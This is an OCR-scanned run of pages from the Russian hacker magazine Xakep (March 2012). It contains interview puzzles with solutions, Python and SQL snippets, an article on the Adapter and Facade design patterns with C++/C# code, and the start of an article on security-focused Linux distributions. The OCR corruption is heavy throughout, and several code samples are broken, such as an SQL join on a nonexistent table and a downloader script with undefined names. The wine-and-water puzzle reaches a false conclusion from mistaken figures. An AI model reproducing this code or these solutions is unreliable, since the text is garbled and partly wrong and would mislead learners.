ствующего поиска API и так далее . Можно даже с п омощью СагеРу

генерировать ассемблерный код , тут же его как-нибудь видоиз­

менять и вставлят ь в уже скомпилированном виде - фантазия

ограничивается только возможностями Питона со вс ем многооб ­

разием его модулей . ::х::

095

Page 98: Xakep 03_2012

со еседованиях ПОДБОРКА ИНТЕРЕСНЫХ ЗАДАНИЙ, КОТОРЫХ ДАЮТ НА СОБЕСЕДОВАНИЯХ

В этом выпуске я добавил к обещанным в

прошлый раз задачам шесть задачек на

сообразительность и логику. Как показывает

практика, их очень любят работодатели.

Конкретно этот набор логических задач мне

дали на собеседовании в одной крупной

интернет- компании. На решение всего перечня

отводилось 40 минут- я почувствовал себя

как в школе на контрольной .. .

096

УСЛОВИЕ Встретились дв а старых друга, не видевшиеся уже довольно да в но.

Оба когда-то вместе учились на Физтехе. Вот их диалог:

-Я слышал, у тебя дети появились.

-Да, три сы н а.

-И сколько им л ет?

- Ну ... В сумме тринадцать! - Хм ... За гадками хочешь говорить? Ну ладно. И что еще можешь сказать?

-Если их возрасты перемножить, получится как раз столько,

скол ько око н у в о - о-он того дома.

-Но зто го в сё еще мало!

-Могу добавить, ч то мой с тарш ий сын рыжий.

-Ну, теперь совсем другое дело . Им ... [далее следует ответ! -П равильно!

Сколько же лет было каждому сыну?

ХАКЕР 03/158/2012

Page 99: Xakep 03_2012

РЕШЕНИЕ Возможно, первый же уточняющи й в о прос, который возникнетутебя

в связи с этой задачей, будет о том, как считать ок на «у во - о - он того

дома>>. Ответ: это известно лишь участни кам беседы.:] Но мы небу­

дем унывать и составим все возможные варианты количества окон.

П ока главное условие- сумма множителей должна быть равна 13:

1 • 1 • 11 =· 11 1 • 2 • 1е = 2е 1 • 3 • 9 27 1 • 4 • 8 32 1 * 5 • 7 35 1 • б • б 36 2 * 2 * 9 36 2 * 3 • 8 48 2 * 4 • 7 56 2 * 5 • б б е

3 * 3 • 7 б3

3 • 4 • б 72 3 • 5 • 5 75 4 • 4 • 5 8е

Вариантов оказалось н е та к много, их можно выпи сать за не­

сколько минут. Заметь, что произведения возрастов совпадают

толь ко в двух случаях: 1*6*6 и 2*2*9. Получа ется, что если бы зда ние

имело л юбое предложенн ое количе ство окон , кроме 36, то ответ можно было бы дать сразу, однако один из друзей сказал, что «этого

всё еще мало>>. Это однозначно подводит нас к мысли, что сыновьям

либо оди н год, шесть лет и шесть лет, либо два года , два года и девять

лет. Далее наш папаша выдает следующую фразу: «Могу доба вить ,

что мой старший с ын рыжиЙ >>. Сначала она выглядела совершенно

бесп олез н ой, но сейча с всё стало понятно. Главное сл о в о в н ей н е

«рыжий>>, как могло показаться на первый взгляд , а «старш иЙ>>. Из

наших вариантов [1-6-6 и 2-2-9] только в одном имеется старший сын. Следовательно, правильны й ответ- два года , два года и девять лет.

УСЛОВИЕ Дан большой массив данны х в файле [миллион записей]. Задача: загрузить данные в таблицу, используя язык программирован ия

Pythoп .

РЕШЕНИЕ В качестве СУБД для разнообразия используем Огасlе . Для работы

с н ей в Питоне предусмотрен специальный модуль сх_Огасlе, кроме

него на нашем компьютере обязательно должна быть клиентская

часть СУБД Огасlе .

import cx_Oracle

# Соединяемся с базой

сопn = cx_Oracle.connect(' system/ qwerty@XE' ) cur = coпn.cursor()

# Через механизм итераторов nострочно добавляем записи из

файла в таблицу

for line in open( 'file.txt' ) : cur. execute( "INSERT INTO test VALUES { :s) " , s=line)

# Сохраняем изменения, закрываем соединение

c ur .execute{ 'COММIT' )

cur. close()

Хо ч у от метить, что при добавлении данны х в более сложные

таблицы с индексами и ключами луч ше предварительно отключить

их на время, та к как н а их пересчет может уйти много времени . В

качестве альтернативы можно загружать данные через временную

таблицу.

ХАКЕР 03 /158/ 2012

Задачи на собеседованиях

УСЛОВИЕ Есть три урны с шара ми, как в задач ках по теории вероятности. Н а

перво й написано <<ЧЕРНЫЕ >>, на второй - «БЕЛЫЕ >>, на третьей­

«Ч ЕРНЫЕ И БЕЛЫЕ >>. В одн ой, соответственно, лежат белые шары,

в дру гой - черные, в оставшейся- и черны е, и белые. Однако все

надписи на ур на х заведомо ложны. Разрешается достать только

один шар только из одн ой ур ны . Как определить, в какой ур н е какие

шары лежат?

РЕШЕНИЕ Из того, что н адписи заведомо л ожны, можно сделать следующие

выводы :

в ур не «Ч ЕРНЫЕ>> либотолько белые шары , либо черные и белые;

в урне « БЕЛЫЕ>> либотолько черные шары, либо черные и белые;

в урне «ЧЕРНЫЕ И БЕЛЫЕ>> либотолько белые шары, ли бо только

черные .

Если мы возьмем шар из ур ны «ЧЕРНЫЕ И БЕЛЫЕ >> и он окажется

ч ерным, значит, в этой урн е ТОЛЬКО ч ер ные шары. Это однозначно

указы вает на то , что:

в урне «БЕЛЫЕ» черные и белые шары, так как только черные у нас

в урне «ЧЕРНЫЕ И БЕЛЫЕ >>;

в урне «ЧЕРНЫЕ >> только белые шары, так как черные и белые в

урне « БЕЛЫЕ>>.

Ну и соответствующие выводы можно сделать, вынув не ч ер ны й

шар, а белый . Таким образом , возможны х распределений шаров

всего два:

1. БЕЛЫЕ 2. ЧЕРНЫЕ И БЕЛЫЕ

ЧЕРНЫЕ И БЕЛЫЕ

ЧЕРНЫЕ

ЧЕРНЫЕ

БЕЛЫЕ

В зависимости от то го, какой шар мы вын ем из третьей урны,

будет иметь место либо первое, либо второе.

УСЛОВИЕ В базе данных Огасlе имеются две таблицы с одинаковым на бором

колонок. Выведите данны е, которые есть в одной таблице, но от­

сутствуют в другой.

РЕШЕНИЕ Для ясности определ имся с форматами таблиц. Следующие два

запроса создают две одинаковые таблицы с именами test1 и test2, которые содержат информацию [наименова н ие продукт а и це на] о какой -нибудь абстрактной продук ции:

CREATE TABLE testl(prod VARCHAR(le), price INT); CREATE TABLE test2(prod VARCHAR(1e), price INT);

Для решения этой задачи нам нужно использовать один из опе­

раторов се мейства JOIN, которые позволяют объединять не сколько колонок из разных таблиц в одн у. В нашем случ а е использование

LEFТ JOIN обусл овлено тем, что мы должны выбрать все записи из левой таблицы [первой], чтобы понять, какие из них отсутствуют в

правой [второй]. Условий объединения таблиц у на с будет два- п о количеству столбцов . Соответственно, для более сложны х таблиц

нуж но переч ислить все столбцы . В конце де кларируем условие

«WHERE test3.pгod IS NULL >>, которое означает, что нас интересу­юттолько записи, отсутствующие во второй таблице. Пр и таком

объедине нии о ни да ют пустое з начение:

5ДЕСТ testl. * FROM testl LEFТ . .JOIN test3 ON test1.prod=test2.prod AND test1.price=test2.price WHERE test2.prod IS NULL;

Если у нас в таблице есть уникальный идентификатор записи, то

указы вать его при запросе в усло вии для JOIN, в принципе, не надо, та к как товар и цена вполн е могут быть одинаковыми, а идентифи-

097

Page 100: Xakep 03_2012

КОДИНГ

ЗАДАЧИ В СЛЕДУЮЩЕМ ВЫПУСКЕ

1. Написать функцию, которая будет получать на входдва списка

и возвращать словарь, в котором ключи- элементы п ервого

списка,'а значения -элементы второго списка или Nопе, если

соответствующий элемент отсутствует.

>>> а = [ "а" , "Ь" , "с" ]

»> ь = [1, 2] >>> print dictify(a,b) { "а" : 1, "Ь" : 2, "с" : None}

2. Есть следующая функция:

def myappend(a = [], num 0 ): a.append(num) print а

Определить, что будет происходить при выполнении следующего кода и почем у:

»> а = [ 1, 2, 3] »> myappend(a) »> myappend() »> myappend() >» а = { 1 :2, 3 :4 } »> myappend(*a) »> myappend(**a)

3. Написать класс, который хранит список своих экземпляров и по­

зволяет итерировать по ним.

»> а = Keeper() »> ь = Keeper() »> for i in Keeper.list_instances(): print i <Keeper instance at ех ...

4. Что это и что с этим можно сделать?

389/tcp open ldap (Anonymous bind ОК)

катары разными просто потому, что они были добавлены в таблицы

в разном порядке или в разное время.

УСЛОВИЕ Доказать, что полусумма двух nоследовательных простых чисел,

начиная с трех, представляет собой составное число .

РЕШЕНИЕ Понятие составного числа мы встречаем не каждый день, поэтому

позволю себе напомнить определение: составное число- это на­

туральное число больше единицы, которое не является простым .

Рассмотрим закономерность:

3 + 5 = 8 5 + 7 = 12 7 + 11 = 18

Отсюда видно, что все простые числа нечетные, а два нечетных

числа в сумме дают четное, поэтому полусумма простых чисел­

это натуральное число, то есть дробной части оно не имеет. Теперь

представим, где на числовой прямой расположена полусумма двух

098

последовательных чисел. Правильно- между ними. А так как мы·

рассматриваем только последовательные простые числа, то между

ними ещё одного простого числа быть не может. Следовательно,

полусумма двух последовательных простых чисел, начиная с трех,

число составное. Что и требовалось доказать.

УСЛОВИЕ Возникло подозрение, что один из твоих веб - серверов взломан.

Необходимо:

а. проверить систему на предмет руткитов,

б. на будущее настроить уведомлени е администратора о малейшей

подозрительной активности, возникающей на сервере или на­

правленной на него .

РЕШЕНИЕ Сперва следует определиться, что за ОС стоит на сервере .

В случае, если сервер под *пiх, я бы воспользовался такой

пр ограммой, как chkгootkit. Она не только проверяет систему на

наличие руткита в, но и выявляет аномальную активность, напри­

мер удаление записей из системны х журналов. Chkгootkit есть

в репазитариях большинства дистрибутивов, так что проблем с

ее уста новкой возникнуть не должно. Ещё две альтернативные

программы с похожим функцианалом-это гkhuпteг и unhide. Для винды существует гораздо больше ПО, обнаруживающего руткиты.

Полный список таких программ смотри по ссылке http:!/goo.gi/9HXEt . Из популярных могу порекомендовать GMER или RootRepeal. Кроме того, если сервер находится в корпоративной среде , в ней наверня­

ка централизованно развернуто ПО какого-либо антивирусного вен­

дара, которое практически всегда имеет в своем арсенале модули

для борьбы с руткитам и. Решить задачу с уведомлением системного

администратора о разнообразной подозрительной активности

поможет спе циальное ПО под названием «система обнаружения

вторжений» IIDS- intгusion detectioп systeml . В настоящее время существует целый класс таких систем. Нужно выбрать ту систему,

которая подходит по требованиям. Для отдельно стоящего сервера

я бы использовал классический Sпогt или же более современную

Suгicata . Это ПО с открытыми кодами, а следовательно, оно распро­

страняется бесплатно. Для обнаружения подозрительных действий

с веб-сервером используются файерволы уровня веб-приложения

IWAF- web application fiгewa l li, которые могут быть встроены в конкретное приложение или представпять собой отдельное ПО.

УСЛОВИЕ В центре идеально круглого озера плавает утка, а на берегу сидит

лиса . Утке нужно улететь, но она может взлететь только с берега .

Скорость лисы в четыре раза больше скорости утки . Лиса хочет

съесть утку, но не умеет плавать. Сможет ли утка спастись от лисы?

РЕШЕНИЕ Персенажи в задаче могут варьироваться !вместо лисы- орк, а вместо утки - хоббит в лодке и т. д . l, но смысл остается тот же. Ещё

добавлю, что речь идет о максимальной скорости лисы, но она с

успехом может двигаться с меньшей скоростью или вообще ждать,

иными словами, она Идеально Логичное Существо.

Для решения задачи нам нужно вспомнить формулу длины

окружности , ведь именно по ней будет бегать лиса: 1 = 2 * pi * R, где R- радиус окружности. Очевидно, что для получения максималь­

ной форы утке необходимо стартовать в противоположную от лисы

сторону. В таком случае утке нужно будет проплыть расстояние R, а лисе пробежать 1/2, то есть pi * R. Скорость лисы в четыре раза больше скорости утки, но расстояние, которое ей нужно преодолеть,

всего лишь в 3,14 раза больше, чем расстояние, которое нуж но про­

плыть утке , поэтому лиса раньше окажется в том месте, куда должна

попасть утка. Следовательно, утке не суждено улететь. Казалось

бы, всё достаточно просто, но не тут-то было! Это я понял , когда на

собеседовании мне задали вопрос: <<А существует ли стратегия, по­

зволяющая утке в конце концов доплыть до берега и улететь?»

ХАКЕР 03/158/2012

Page 101: Xakep 03_2012

Да , такая стратегия существует, и вот в чем она заключается.

Для простоты предположим, что радиус озера четыре метра. П ер в ое,

что нужно сделать ут ке, - зто выпл ыть на окружность с радиусом в

четыре раза меньше исходной la если быть совсем точным, с радиу­сом г < 3/pi * R/41 и с центром в той же точке таким образом, чтобы оказаться на м аксимальном удалении от ли сы. Утка, це нтр озера и

лиса должны находиться на одно й прямой. Утке уда стся зто сделать,

так как ее угл овая скорость при дви же нии п о окружности с радиу­

сом R/4 будет выше, чем у лисы. Стало быть , утке до берега оста­нется только три метра , а лисе н еобходим о будет пробежать всё те

же 1/2, то есть 12,56 метра 12 * 3,14 * 4/21. Ра сстояние , которое нужно преодолеть лисе, уже более чем в четыре раза превыша ет путь утки ,

а с л едо вательно , у т ка с пасена ' В общем случае утке нужно выплыть

на окружность радиусом г< 3/pi * R/4 метра так, чтобы лиса, центр окружности и утка оказалис ь на одной прямой . А дальше двигаться

по кратчайшему пути к берегу!

Р. S. Доп олнительное задание для гурманов:

1. Каким образом можно максимизировать отрыв утки от лисы?

2. При каком соотн о ш ении скоростей лиса гарантиро ванн о поймает

утку?

УСЛОВИЕ Написать скрипт, считывающий список URL из файла !одна строка - один URLI, скачивающи й их не более чем в N потоков и сохраняю­щий каждую страницу в отдельном файле. N, задаваемое аргумен­том командной строки, п о умол чанию равно 10. Имена конечных файлов значения не имеют. Для реализации многопоточности

использо вать на выбор одну из стандартных библиотек thгeadiпg ,

eveпtlet, geveпt, Twisted или любую другую з на комую тебе библио ­

теку.

РЕШЕНИЕ Я не стал особо выпендриваться и реализовал скрипт с использо ва­

нием стандартн ой thгeadiпg:

import sys import threading import Queue import urllib2

# Класс потока, скачивающий страницу

class DownloadThread(threading .Thread): def run(self):

# Прописываем хидеры для запроса headers = { 'User-Agent' :

'Мozilla/4 . 0 (compatiЫe; МSIE 7.0; Windows NT б.е)' }

while urlsPool.qsize() > е :

logfile = open(str(urlsPool.qsize()), ' w' )

# Запрашиваем содержимое страницы

req = urllib2.Request(urlsPool .get(),None,headers) # Пишем в отдельный файл logfile.write(urllib2.urlopen(req).read()) logfile . close()

# Выдаем справку, если скрипт запущен без аргументов

if len(sys.argv) < 2: print 'Usage : downloader.py [-n <number>] FILE\ n\

"-n <number>" - number of threads (default 10)' sys.exit(1)

# Обрабатываем возможный аргумент с количеством nотоков

if len(sys.argv) == 4 and sys.argv[1] == '-n ' : threads int(sys.argv[ 2])

else : threads 10

ХАКЕР 03 /158/ 2012

Задачи на собеседованиях

# Формируем очере~ь URL urlsPool = Queue.Queue(e ) #Кладем URL'ы в очередь

for url in open(sys.argv[-1], 'r' ): urlsPool . put{url)

# Запускаем nотоки for х in xrange(threads):

DownloadThread() .start() urlsFile .c lose()

УСЛОВИЕ Есть две изолированны е дру г от дру га комнаты. В одной н аходятся

три лампочки, в другой -три выключателя. Ты стои шь в комнате с

выключателями и можешь перейти в комнату с лампочками только

один раз. Необходимо определить, какая лампочка каким выключа­

телем включается.

РЕШЕНИЕ Наверное, про эт у задач ку слышали если н е в се, то многие. Ре ша ­

ется она достаточно просто !если вспомнить, что горящие лампочки имеют свойство нагреваться]: 1. Включаем один из выключателей !допустим, первый].

2. Ждем некоторое время, п ока поверхностьлампочки нагреется. 3. Выключаем эт у лампочку.

4. Включаем второй выключатель и идем в другую ком нату смотреть

на лампочки.

Итого имеем: за ту лампочку, которая горит, отвечает только что

включенный выключатель !второй]. Трогаем выключен ны е лампоч­ки. Теплая лам поч ка включается с п омощью первого выключателя .

А та, которая не го рит и хол одная , - с помощью третьего.

УСЛОВИЕ В одной бутылке литр вина, в другой литр воды. Из первой во вторую

перелили ложку вина , а затем из второй в п ервую перелили ложку

получившейся смеси. Чего тепер ь больше: воды в бутылке с вином

или вина в бутылке с водой? Вино и воду не перемешивали.

РЕШЕНИЕ Для большей наглядности возьмем ложку вместимостью 100 мл. По­сле первого переливания имеем:

I бутылка: 900 мл вина п бутылка: 1еее мл воды + 1ее мл вина

После второго переливания:

I бутылка: 900 мл вина + 1ее мл смеси II бутылка: 1еее мл воды + 1ее мл вина - 1еемл смеси

П олучается, что в смеси 10 частей воды и 1 часть вина или же 100/11 мл вина и 1000/11 мл воды . С учетом этого перепишем послед­нее выражение !позволю себе убрать «МЛ» для большей компакт­ности ]:

I бутылка: (9ее + 100/ 11) вина + 1000/ 11 воды п бутылка: (1еее - 1000/ 11) воды+ (1ее - 10/ 11) вина

П осчитаем дроби:

I бутылка: 909,09 вина + 90,91 воды II бутылка: 909,09 вина + 90,91 воды

Как видно, смесь в бутыл ках оди н ако вая ! Но зто можно бы ло

понять и гораздо проще : подумай, ведь объем жидкос т и в бутыл ках

в итоге остался одинаковым - один литр, а значит, и сами смеси

должны быть одинаковыми. ::Х:

099

Page 102: Xakep 03_2012

КОДИНГ

МЕНЯЕМ ИНТЕРФЕЙСЫ КЛАССОВ БЕЗ УЩЕРБА ДЛЯ ЗДОРОВЬЯ

Разработка и поддержка большинства систем

ведется в течение многих лет. Кодовая база

растет как на дрожжах, а взаимосвязи между

компонентами программнога обеспечения

становятся всё сложнее и изощреннее. Зачастую

при обновлении отдельных участков кода перед

программистами встает проблема рефакторинга

всего проекта целиком . Для того чтобы этого

избежать, создан паттерн «Адаптер», о котором

мы сегодня и поговорим .

100

deeonis [deeonislagmail.com[ ·

а в ай представ им, ч т о несколько лет назад мы написали

некий парсер, который собирает определ е нную инфор­

мацию с нужных сайтов. Дляпарсинга НТМL- стра н и ц

мы использовали стороннюю библиотеку, кото рая тогда отл ично

справлялась со своими задачами. Но вот п рошло некоторое время,

и с тарый заказчик, для которого мы создали н а ш чудо -п родукт, ре ­

шил напомнит ь о себе и по п росил до бавить парочку-другую н о вы х

функций . Мы с задором взялись за работу, но буквально сразу по­

няли, что библиотека для разбора НТМ L- кода уже дав но ус тарел а

и не поддерживается. Зато в открытом доступе есть аналог с кучей

свистелок и блестяшек, который к тому же работает быстрее и ста­

бильнее. Н о есть одна проблема- интерфейсы у классо в новой

библиотеки п ол н остью отличаются от тех, которые м ы использо­

вали ранее. Более того, некоторые методы ста рого НТМL-дв ижка

не имеют анало гов в новом. Нет, сделать ч т о -то п одобное можно,

но для этого н ужно вызвать несколько функций и правильно

обработать результат их работы. Всё это на в одит на мысль, что

добавить пару новы х фич будет не та к п росто, как на м это показа­

лось вначале. Однако, так как мы п роек т ирова ли наше приложение

в 00 -стиле, нам на помощь придет паттерн <<Ада птер», который

избавит нас от переписывания кучи старого кода .

ПАТТЕРН «АДАПТЕР» Чтобы понять , как работает наш спасительный паттерн, до­

статочно представить какой- н ибудь п ереходни к, например, для

электро пр иборов из С Ш А, который п оз в оля ет воткнуть штатовскую

вилку в е вр опейскую розетку . Программный адаптер дела ет при-

ХАКЕР 03/158/2012

Page 103: Xakep 03_2012

мерно то же . А если конкретнее, то он преобразует один интерфейс

вызова в другой . Единственная его цель - сделать так, чтобы

клиент не заметил, что он обращается совсем к дру гой библиоте­

ке, и тем самым избежать трудоемкой и в какой-то степени даже

опасной процедуры изменения кода.

Для начала давай взглянем на то, что у н ас было раньше.

Наша програ~а в первой версии

(используется устаревшая библиотека для парсинга HTML) 1/ Интерфейс парсера class IHTMLParser {

}

11 char* getтags () 11 ...

е · '

/1 Класс, реализующий интерфейс

class HTMLParse r : puЫic IHTMLParser

11 char * getTags()

// Реализация метояа

}

};

11

// Клиентский код IHTMLParser *parser parser->getTags();

new HTMLParser();

Как мы видим, тут всё довольно просто. Есть некий класс

Н ТМL Рагsег, реал и зующий соответствующий интерфейс. Клиент­

ский код создает объект, который поддерживает эт от ин терфейс,

а затем обращается к его разнообразным методам. Но теперь

у нас есть ModeгnHTMLPaгseг, который никак не поддерживает

IHTM LPaгseг. Для того чтобы исправить этот недочет, мы создадим

класс, который будет поддерживать IHTMLPaгseг, при этом деле г и­

руя выполнение его методов н овой библиотеке . Этот новый класс

истанет ада птером.

Адаптер для ModernHTMLParser class ModernHTML Parser

11 std ::vect or <char *> getHtmlTags(); 11 . . .

11 Адаптер, реализующий и нтерфейс I HTMLPa r ser class HTMLAaapter (Mode rnHTMLParser &pa rs er):

1 CLIENT 1

Adaptee -> specificReqest []

Диаграмма классов nаттерна «Адаnтер»

ХАКЕР 03/158/ 2012

1

1------1

Паттерны «Адаптер>> и «Фасад>>

puЬlic IHTMLParser

private : ModernHTMLParser &m_modernParser;

puЫic :

HTMLAdapter(ModernHTMLParser &parser) {

m_modernParser = parser; } char* getTags() {

}; /1

11 . .. m_modernParser.getHtmlTags(); 11 . .•

/ / Кл иентский код

ModernHTMLParser &modernParser = new ModernHTMLParser(); I HTMLParser * parser = new HTMLAdapter(modernParser); parser->getTags();

Клиентский код не претерпит практически никаких изменений.

Н у, разве что придется создать объект класса HTM LAdapteг и пере­

дать ему в качестве параметра ссылку на Моdегп НТМLРагsег.

Используя композицию,тоестьпередаваяобъектадаптируемого

класса по ссылке, мы повышаем общую гибкость системы .

В общем случае код адаптера может модифицировать результа­

ты, получаемые от адаnтируемого класса. Так, если, например, ме­

тод getТagsll класса НТМ L Рагsег возвращает массив НТМ L-тегов, используемых в разметке страницы, а метод getHtm iTagsl l класса ModeгnHTMLPaгseг возвращаеттоже самое, но в виде вектора, то

реализация метода getТags в HTM LAdapteг создаст массив на осно­

ве полученного от новой библиотеки вектора.

Изменение результатов работы адаптируемого класса

class HTMLAdapter (ModernHTMLPar ser &parser): puЫic I HTMLParser

private : ModernHTMLParser &m_modernParser;

puЫic :

HTMLAdapter(ModernHTMLParser &parser) {

m_modernParser = parser;

char * getтags () 1/ .. . vectorOfTags

TARGET +request!l

-r_

m_modernParser.getHt mlTags();

ADAPTER +request(]

«adaptee» .. ADAPTEE specificReqest 11

101

Page 104: Xakep 03_2012

КОДИНГ

};

IJ

// Преобразуем вектор в массив

return vector2array(vectorOfTags);

Если ты регулярно заглядываеш ь в рубрику << Кодинг», то, на­

верное, помнишь другой похожий паттер н, а именно «Де коратор>>.

На первый взгляд действительно может показаться, что по сути

эти два шаблона объектно - ориентированного программирования

идентичны. Но на самом дел е паттерн «Адаптер >> служит для пре­

образования одного интерфейса вызова в другой, в то время как

«Декоратор >> призван модифицировать результаты, выдаваемые

методами поддерживаемых классов.

АДАПТЕРЫ КЛАССОВ И ОБЪЕКТОВ Выше мы рассмотрели так называемый адап тер объектов, который

ада пти рует интерфейс путем композиции соответствующего объ­

екта и передачи ему н ужны х вызовов. Н о есть еще один вид такого

паттерна-это адаптер кла ссов. В отличие от адаптера объектов,

адаптер классов испол ьзует множественное наследова н ие, что

немного у прощает его реализацию и уско ряет работу.

Адаnтер классов

class HTMLAdapter (): puЫic HTMLParser, puЬlic ModernHTMLParser

puЫic :

using Syз~em ;

namespace Adap~e~ {

class MainApp

static void Main () (

11 Create adapter and place а request Target ~arget = new Adapter () ; target .Request ();

11 Wнt for user Console . Read ();

11 "Tarqet"

class Target ( puЬlic virtual void Request () ( Console . 1Jп.teLine ( "Called Target Requeзt()") ;

11 "lldapter"

class Adapter : Target (

private Adaptee adaptee = new Adaptee ();

puЬlic override void Request ( ) (

11 PossiЫy do sоме othm· м:~rk 11 and then call Spec~f~cRequest adaptee . SpecificRequest ();

11 "Addptee"

Пример кода nаттерна «Адаnтер» на С#

102

char * getTags() { // Тут всё проще, так как мы наследуем метод getНtmlTags (),

/1 то можно вызвать его наnрямую

vectorOfTags = getHtmlTags(); Jl Преобразуем ве ктор в массив

return vector2array(vectorOfTags);

}; Jl ...

Конечно, используя наследование вместо композиции, мы теря­

ем некоторую гибкость и ограничиваем себя лишь одним классом

НТМLРагsег, но взамен получаем выигрыш в производительности .

Если бы программа создавала мн ожество объектов HTMLAdapteг

и интенсивно работала с его методами, то, используя адаптер объ­

ектов, мы бы тратили лишнюю память и теряли время при вызове

его методов и сохранении инкапсулированного НТМLРа гsег. С дру­

гой сто роны, если бы у на с бы л н екий класс НТМLРагsег2, который

бы также реализовывал интерфейс IH TMLPa гseг, нам пришлось бы

nисать для него новый код.

«ФАСАД» Теперь , когда мы хорошо разобрались в паттерне «Адаптер >>,

можно заняться другим шаблоном объектно-ориентированного

программирования под названием «Фасад >>. Технически «Фасад >>

мало чем отличается от «Адаптера >> . Чтобы в этом убедиться, давай

взглянем на код.

Паттерн «Фасад>>

class SystemClassl {

}

void methodA() ; 11 .. .

class SystemClass2

void methodB(); 11 . ..

class SystemClassЗ {

void methodC ();

/J . ..

class Facade (SystemClassl &scl, SystemClass2 &sc2, SystemClassЗ &sсЗ)

private : SystemClassl &m_scl; SystemClass2 &m_sc2; SystemClassЗ &m_scЗ;

puЬlic :

Facade(SystemClassl &scl , SystemClass2 &sc2, SystemClassЗ &sсЗ)

m_s cl m_sc2 m_scз

scl; sc2; sсЗ;

void method() {

m_scl. methodA();

ХАКЕР 03/158/2012

Page 105: Xakep 03_2012

П аттер н ы <<Ада пте р » и <<Фасад»

All the complexity of this entire sub-system is encapsulated in а single wrapper class and it's simple interface

------------------т------------------

SubsystemOne SubsystemThгee

SubsystemTwoWгappeг +prime TheDirectivell

/

PlasmaConduit Holodeck

WагрСоге

JeffeгiesTube 1 DilithiumChambeг Weapon

Тгаnsрогtег

Диаграмма классов паттерна ссФасад•>

' }

m_sc2 .methodB() ; m_sc 3. methodC () ;

TuгboLift

Класс Fa cade, так же как и HTM LAda pte г, п ринимает в каче ­

стве па р аметров своего конструктора ссылки на объекты. Только,

в отличие от <<Адаптера>>, этих ссылок несколь ко . Далее <<Фасад>>

определяет н есколько методо в , которые обращаются к функциям

инкапсулиро ванных объекто в . Всё просто и оче н ь похоже на п ат­

терн <<Адаптер>> . Н о цели у этих двух ш абло н ов соверше нн о разные.

Если НТМ LРа гsе г п р едназна ч е н для п ри в ед е н ия одн ого интерфей­

са к другому, то Facade у п рощает интерфейс доступа к не которой

системе классов . В при в еденном выше примере мы инка псулируем

сразу несколько объектов, принадлежащих к разным типам и со­

ставляющих некий набор кл ассов, который служит для выполне ­

ния каких-либо определ енных действий . Ч тоб ы лучше себе это

п редста в и т ь, достаточно вс п ом н ить ста р ый добрый П К с систем­

ным блоком, монитором, коло н ками и прочей периферией. Дл я

запуска этого компьютера нам нуж н о нажать кнопку питания на си­

стемном блоке, включить монитор, колонки и т. д., то есть вызвать

множество функций классов, которые вместе образуют некую си-

ХАКЕР 03/158/2012

t

PhaseгBack PhotonToгpedo

стему . <<Фасад>> же инкапсупирует все эти действия в одном своем

методе, что сводит всю процедуру к вызову одной-единственной

функции и тем самым упрощает клиенту жизнь . Если проводить

аналогию с П К , то <<Фасад >> - это кнопка включения ноутбука.

Более того, п а ттерн <<Фаса д >> позволяет клиенту обращаться

к любому классу сис темы на п рямую, на низком уров н е, благода­

ря чему сохраняется вся гибкость и мощь этих классо в . Од на-

ко, если клиент знает только интерфейс <<Фасада>>, в будущем

мы можем модифицировать систему классов, обслуживаемых

Facade, и при этом не менять код клиента . Такая изоляция очень

полезна.

ЗАКЛЮЧЕНИЕ Мы узнали о д вух новых паттернах: <<Адаптере>> и <<Фаса -

де>>. Первый позволяет безболезненно привести и н терфейс

одного класса к интерфейсу д руго г о для быстрой адаптации

клиентского кода к новым компоне н там системы. Шаблон

00- п ро г рамми р ования <<Фаса д >>, очень п охожий н а <<А д а п тер>>,

служит для совершенно другой цели - у п ро щения доступа

к определенным интерфейсам.

В мире объектного кодингасуществует еще мно го разнообраз ­

ных паттернов, о которых я расскажу в будущем. :х:

103

Page 106: Xakep 03_2012

UNIXOID

изоляцию ИЗ ЧЕГО СОСТОЯТ БЕЗОПАСНЫЕ LINUХ­ДИСТРИБУТИВЫ

Когда речь заходит о создании операционки,

способной обеспечить анонимность пребывания

в Сети, безопасность сохраненных на диске

данных и предоставить прочие средства

защиты , дистрибутивастроители оказываются

на удивление плодовитыми на идеи

и неординарные решения парнями . Эти м

разработкам, простым и сложным , гениальным

и спорным, и посвящена данная статья.

-Разработчики безопасных дистрибутивов

избегают использовать

ТгuеСгурt, так как его разработка ведется на базе закрытой модели, из-за чего провести

всесторонний аудит кода невозможно .

Во время каждой

загрузки Наvеп проверяет

«возраст •)

дистрибутива в дня х, прошедших

с момента

установки .

Разработчики не рекомендуют

использовать

дистрибутив, возраст которого

ДОСТИГ 200 ДНеЙ .

l:iфl!lilillli М н огие хакеры, считающие себя эксперта-

ми в безо п асности всего и в ся, в свое время

брались за созда н ие п о-настоящему защищен ­

ны х и предлагающи х п олную аноним н ость ОС.

Многие из них потер п ел и фиаско, однако не ­

которые действительно показали миру, на что

способны. Не будем делать н авевающий тоску

традиционный обзор дистр ибути в о в , а скон ­

цент рируемся на самых гла вн ых тех н ологиях

д истрибут и вы от в злом щиков , од но вр еме нн о

п оз в ол я я сохра н ит ь удобство и п ростоту в ис­

п о л ьзова н ии . Ч тобы не за п ута т ь читател я, я

разбил эт и тех н ологии на пять групп :

в их арсенале , которые н адежно за щи щают эти

• Я дерные дел а, а точнеепатчии разл ичные

заплатки , по умолчанию наложен н ые на кер ­

нел.

• Защита да н ны х . Описани е с по собов , с п о ­

мощью которых дости гаетс я безопасность

сохра н е н ной на диске/флешке и н фо р ма ции . • Анонимиза ц ия .Н абортехноло гий,испол ь-

Евгений Зобнин [ e xe cЬit. r u l

зуе мы х дл я обезлич и в а н и я пользова теля

и за путы ван и я тех, кт о пытаетс я е го на йти .

• Десктоп. Набор досту п н ы х п риложений,

а также методики , п рименяемые для защит ы

от посторонних наблюдател ей .

• Различные интересн ы е фи ш ки.

Итак, окунемся в мир пара н оидал ьной

секьюрности и рассмотр им следующие д ис­

трибутивы : Ubuпtu Pг i vacy Re mi x, Pгi va tix, The Haven P гoject, Tails и L ibeгte Linux.

ХАКЕР 03/158/20 12

Page 107: Xakep 03_2012

ЯДРЕНЫЙ ТУКС Чтобы сделать туке по-настоящему безопас­

ной ОСью, не обойтись без допиливания ядра,

а точнее, его патчин га для повышения общей

стойкости ОС. Один из традиционных методов,

используемых для достижения этой цели,

заключается в наложении на ядро патчей

проекта gгsec:uгity. Они обеспечивают защиту

от возможных вторжений с помощью множе­

ства методов, среди которых запрет перехода

по ссылкам, не принадлежащим пользовате­

лю, запрет чтения dmesg для всех, кто не име­ет прав гооt, дополнительные ограничения для

сhгооt-приложений, запрет чтения

/ргос, рандомизация адресного пространства и стека ядра и многое другое. Мы уже писали

о gгsecuгity [статья <<Термоядерный синтез», опубликова нная в октябрьском номере за 2010 год], так что не буду повторяться.

Обычно вместе с gгsecuгity в систему

